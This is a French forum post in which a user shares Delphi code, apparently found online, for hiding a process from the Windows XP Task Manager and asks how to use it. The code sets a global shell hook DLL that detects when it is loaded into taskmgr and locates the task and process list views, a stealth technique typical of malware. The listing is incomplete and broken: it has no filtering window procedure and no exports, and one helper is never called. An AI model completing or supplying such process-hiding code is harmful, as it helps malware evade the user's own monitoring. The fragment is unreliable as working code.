cs_Den
Messages postés18Date d'inscriptionmardi 23 janvier 2001StatutMembreDernière intervention20 août 2007
-
30 juil. 2003 à 10:09
ziuu
Messages postés1Date d'inscriptiondimanche 1 avril 2007StatutMembreDernière intervention10 avril 2007
-
10 avril 2007 à 01:16
voici un code trouvé sur le web, il devrait permettre de cacher le processus du gestionnaire des taches de XP, je ne sait pas l'utiliser
et j'ai déposé ce code sur ce site. Il à été supprimé le lendemain sans
me donner d'explication logique... ???
Si l'un de vous sait utiliser ce code merci de me fournir un exemple.
code en delphi
Here is Delphi example of hook dll. To install hook - call from .EXE SetHook function.
When DLL is injected into process - it is examine command line to find - "am i injected
onto taskmanager process?" If so -
seek "SysListView32" controls ( Task and Process listviews).
library HookLib;
uses
SysUtils,
Classes, Windows;
var hHook: integer;
hMod: THANDLE;
CurL: integer;
L: array[0..1] of integer;
EnabledIt: Boolean;
procedure DOUT(s:String);
begin
OutputDebugString(PChar(s+#10#13));
end;
function ResetWindowProc(hwnd:integer; NewProc:DWORD):DWORD;
begin
Result := SetWindowLong(hwnd,GWL_WNDPROC, NewProc);
end;
function FindListView(hwnd, prev: integer): boolean;
var wText: PChar;
begin
wText := AllocMem(250);
Result := FALSE;
if (CurL = 2) or (hwnd=0) then Exit;;
if(GetClassName(hwnd, wText, 250) <> 0) then
if wText = 'SysListView32' then
begin
L[CurL] := hwnd;
inc(CurL);
GetWindowText(hwnd, wText, 250);
DOUT(wText + ' ' + 'Found!');
end;
FindListView(GetWindow(hwnd, GW_CHILD), hwnd);
FindListView(GetWindow(hwnd, GW_HWNDNEXT), hwnd);
Result := TRUE;
end;
function HookProc(Code, wParam, lParam: integer): Integer; stdcall;
begin
if (Code = HSHELL_WINDOWCREATED) and (EnabledIt) then
begin
FindListView(wParam, 0);
end;
Result := CallNextHookEx(hHook, Code, wParam, lParam);
end;
function SetHook: DWORD;stdcall;
begin
hHook := SetWindowsHookEx(WH_SHELL, @HookProc, hMod, 0 );
Result := 0;
end;
function ResetHook: DWORD;stdcall;
begin
UnhookWindowsHookEx(hHook);
Result := 0;
end;
procedure InitDLL;
begin
EnabledIt := FALSE;
DOUT(GetCommandLine());
If Pos('taskmgr', GetCommandLine()) <> 0 Then EnabledIt := TRUE;
hMod := GetModuleHandle('HookLib.dll');
end;